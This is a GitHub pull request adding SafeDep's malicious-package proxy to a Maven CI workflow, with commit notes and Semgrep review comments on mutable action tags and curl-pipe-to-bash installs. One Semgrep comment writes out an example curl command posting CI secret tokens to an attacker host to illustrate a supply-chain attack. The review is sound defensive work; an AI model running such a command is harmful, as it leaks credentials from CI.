Skip to content

ci: integrate SafeDep PMG into GitHub Actions - #364

Open
vanshika-verma-rzp wants to merge 3 commits into
masterfrom
integrate-safedep-pmg
Open

ci: integrate SafeDep PMG into GitHub Actions#364
vanshika-verma-rzp wants to merge 3 commits into
masterfrom
integrate-safedep-pmg

Conversation

@vanshika-verma-rzp

@vanshika-verma-rzp vanshika-verma-rzp commented Aug 24, 2026

Copy link
Copy Markdown

What

Integrates SafeDep PMG (Package Manager Guard) into the CI workflow to block malicious open-source packages at install time in GitHub Actions.

PMG runs as a persistent proxy that starts once per job, intercepts package-manager installs (Maven here) via standard proxy env vars, and auto-blocks any package flagged as malicious.

Changes

Only file touched: .github/workflows/ci.yml. Applied the doc's per-job lifecycle to both jobs:

test job and publish job, each got:

  • permissions: contents: read (job level)
  • safedep/pmg@v1 in server-mode: true immediately after checkout
  • pmg proxy stop --fail-on-violation with if: always() as the final step (fails the job on a block, flushes events)

Existing steps were not reordered, renamed, or modified.

Secrets used

Per our secret naming (differs from doc defaults):

  • api-key: ${{ secrets.PMG_PUBLIC_REPOS_TOKEN }}
  • tenant-id: ${{ secrets.PMG_TENANT_ID }}

Action required: create repo/org secrets PMG_PUBLIC_REPOS_TOKEN and PMG_TENANT_ID. If absent, PMG still works on SafeDep's free community intelligence (no cloud sync) — it will not break the build.

Scope notes

  • .github/dependabot.yml is a Dependabot config (no jobs) → out of scope, untouched.
  • No jobs skipped: both test and publish are standard step-based jobs (no reusable-workflow uses: at job level), and both install packages on the runner via Maven, so PMG is genuinely useful.
  • No standalone pmg-test.yml added: both jobs already exercise real installs on the runner in the normal CI flow (PR + tag), so a separate test workflow would just duplicate coverage.

Verification

  • YAML validated (yaml.safe_load).
  • Diff is additive only (permissions + PMG start/stop steps); no functional change to existing steps.

Discussion thread: Slack

Route package installs through PMG's persistent proxy to block malicious
packages in CI. Added to both jobs in ci.yml (test, publish):

- permissions: contents: read
- safedep/pmg@v1 in server-mode after checkout
- pmg proxy stop --fail-on-violation (if: always()) as final step

Uses secrets PMG_PUBLIC_REPOS_TOKEN (api-key) and PMG_TENANT_ID (tenant-id).
Comment thread .github/workflows/ci.yml Outdated
- uses: actions/checkout@v2

# Start PMG in server mode
- uses: safedep/pmg@v1

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

The release workflow runs safedep/pmg@v1, a mutable tag, in a job that handles PMG and Maven publishing secrets. Repointing that tag could execute attacker-controlled code during a release and compromise credentials or published artifacts.

More details about this

The publish job runs the third-party safedep/pmg action from the mutable v1 tag. Because this job executes on tag pushes and receives PMG_PUBLIC_REPOS_TOKEN, PMG_TENANT_ID, Maven credentials, and MAVEN_GPG_SECRET_KEY-related signing data, the tag owner—or an attacker who gains control of that repository—could repoint v1 to malicious code without changing this workflow.

A plausible attack would be:

  1. An attacker moves safedep/pmg's v1 tag to a compromised action revision.
  2. A release tag such as v1.2.3 starts this publish job because of if: startsWith(github.ref, 'refs/tags/v').
  3. The compromised action runs before Build with Maven and Publish package, using the exposed api-key, tenant-id, and publishing-related environment or secret context to send credentials elsewhere or alter the release process.
  4. The attacker can then publish a tampered Maven artifact with the repository's trusted publishing identity, or use the stolen tokens to access the PMG tenant and other release infrastructure.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
- uses: safedep/pmg@v1
- uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED> # v1
View step-by-step instructions
  1. Replace safedep/pmg@v1 with the full 40-character commit SHA for the trusted v1 release, for example: safedep/pmg@<40-character-commit-sha> # v1.
  2. Apply the same pin to every safedep/pmg@v1 step in this workflow, including the test and publish jobs.
  3. Confirm that the SHA belongs to the intended SafeDep PMG release by checking the action’s official repository and release history. A full commit SHA cannot be silently moved to different code like a tag or branch can.
  4. Pin the other mutable action references in this workflow, such as actions/checkout@v2, actions/setup-java@v2, and codecov/codecov-action@v3, to their trusted 40-character commit SHAs as well. Preserve the release as a comment, such as # v2.
💬 Ignore this finding

Leave a nosemgrep comment directly above or at the end of line 62 like so // nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag

Take care to validate that this is not a true positive finding before ignoring it.
Learn more about ignoring code, files and folders here.

You can view more details about this finding in the Semgrep AppSec Platform.

Comment thread .github/workflows/ci.yml Outdated
uses: actions/checkout@v2

# Start PMG in server mode
- uses: safedep/pmg@v1

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

The safedep/pmg@v1 step follows a mutable tag, so its code can change without a workflow review. A compromised tag could run in the test job and exfiltrate PMG_PUBLIC_REPOS_TOKEN and PMG_TENANT_ID.

More details about this

uses: safedep/pmg@v1 selects the mutable v1 tag rather than an immutable commit. The owner of safedep/pmg (or an attacker who compromises that repository or its release process) could silently move v1 to a malicious commit; the next CI run would execute that code in the test job before the Maven steps.

A plausible attack is:

  1. The attacker repoints safedep/pmg's v1 tag to a malicious action version.
  2. A push to master starts the test job, which downloads and runs the new code at uses: safedep/pmg@v1.
  3. That code reads the workflow credentials, including secrets.PMG_PUBLIC_REPOS_TOKEN and secrets.PMG_TENANT_ID, and sends them to an attacker-controlled server, for example with a request equivalent to curl -X POST -d "token=$PMG_PUBLIC_REPOS_TOKEN&tenant=$PMG_TENANT_ID" https://attacker.example/collect.
  4. The attacker can then use the stolen PMG token against the associated public-repository tenant, while the compromised step can also tamper with the workspace or Maven test and publish results.

Because v1 can change without any edit to this workflow, a previously trusted CI run can begin executing attacker-controlled code on a later run.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
- uses: safedep/pmg@v1
- uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED> # v1
View step-by-step instructions
  1. Identify the commit SHA for the intended safedep/pmg release by checking the action’s official repository and release history.
  2. Replace the mutable tag with the verified 40-character commit SHA: uses: safedep/pmg@<40-character-commit-sha>.
  3. Keep the human-readable version as a comment, for example: uses: safedep/pmg@<40-character-commit-sha> # v1.
💬 Ignore this finding

Leave a nosemgrep comment directly above or at the end of line 23 like so // nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag

Take care to validate that this is not a true positive finding before ignoring it.
Learn more about ignoring code, files and folders here.

You can view more details about this finding in the Semgrep AppSec Platform.

Brings this repo onto the same integration used in ai-playbook and i18nify,
with the enforcement fix from blade.

- Setup step renamed to "Setup PMG proxy" and given `id: pmg-setup`, so the
  enforce step can tell whether setup actually ran.
- Enforce step runs `--fail-on-violation` only when setup succeeded. With a
  bare `if: always()`, any failure before the PMG step makes GitHub skip
  setup while still running enforce, which then dies with
  `pmg: command not found` (exit 127) and buries the real error.
- Removed additions that are not part of the reference integration:
  `permissions:` blocks, workflow comments, pinned action SHAs and
  non-standard step names.
- Added pmg-test.yml, byte-identical to the copy in ai-playbook and i18nify,
  which demonstrates the proxy blocking a known-malicious package and
  syncing the event to SafeDep Cloud.

The workflow files are now the master versions plus the two PMG steps and
nothing else: 34 lines added, none removed or modified.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Comment thread .github/workflows/pmg-test.yml Outdated
runs-on: ubuntu-latest
steps:
- name: Setup PMG proxy
uses: safedep/pmg@v1

@semgrep-code-razorpay semgrep-code-razorpay Bot Aug 25, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608.

🧁 Removed in commit 821dded 🧁

Comment thread .github/workflows/pmg-test.yml Outdated
runs-on: ubuntu-latest
steps:
- name: Setup PMG proxy
uses: safedep/pmg@v1

@semgrep-code-razorpay semgrep-code-razorpay Bot Aug 25, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608.

🧼 Removed in commit 821dded 🧼

Comment thread .github/workflows/pmg-test.yml Outdated
Comment on lines +47 to +53
run: |
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
nvm install 20
echo "$NVM_DIR/versions/node/$(nvm version 20)/bin" >> $GITHUB_PATH

@semgrep-code-razorpay semgrep-code-razorpay Bot Aug 25, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A run: step pipes the output of curl or wget directly into a shell interpreter. This is the "curl | bash" install pattern — if the remote server is compromised or the URL is hijacked, an attacker can execute arbitrary code in your CI runner. Consider downloading the file first, verifying its checksum or signature, and then executing it.

🌟 Removed in commit 821dded 🌟

Comment thread .github/workflows/pmg-test.yml Outdated
Comment on lines +21 to +27
run: |
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
nvm install 20
echo "$NVM_DIR/versions/node/$(nvm version 20)/bin" >> $GITHUB_PATH

@semgrep-code-razorpay semgrep-code-razorpay Bot Aug 25, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A run: step pipes the output of curl or wget directly into a shell interpreter. This is the "curl | bash" install pattern — if the remote server is compromised or the URL is hijacked, an attacker can execute arbitrary code in your CI runner. Consider downloading the file first, verifying its checksum or signature, and then executing it.

🚀 Removed in commit 821dded 🚀

pmg-test.yml was added alongside the PMG integration purely to prove the proxy
behaves correctly inside this repository's own CI environment. It ran two jobs:
one installing a known-clean package to confirm PMG does not block legitimate
traffic, and one installing the deliberately-flagged safedep-test-pkg@0.1.3 to
confirm the block is caught and `pmg proxy stop --fail-on-violation` fails the
job as intended.

That validation is now complete across every repository in this rollout, so the
workflow has served its purpose. Leaving it in place would mean a permanent CI
job that installs a deliberately-flagged package on every push and pull request
- burning runner time and producing a red check that is expected-to-fail, which
is exactly the kind of noise that trains people to ignore CI signal.

The PMG integration itself is untouched. The safedep/pmg setup steps and the
`pmg proxy stop --fail-on-violation` enforcement steps in this repository's real
build and test workflows remain exactly as they were.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant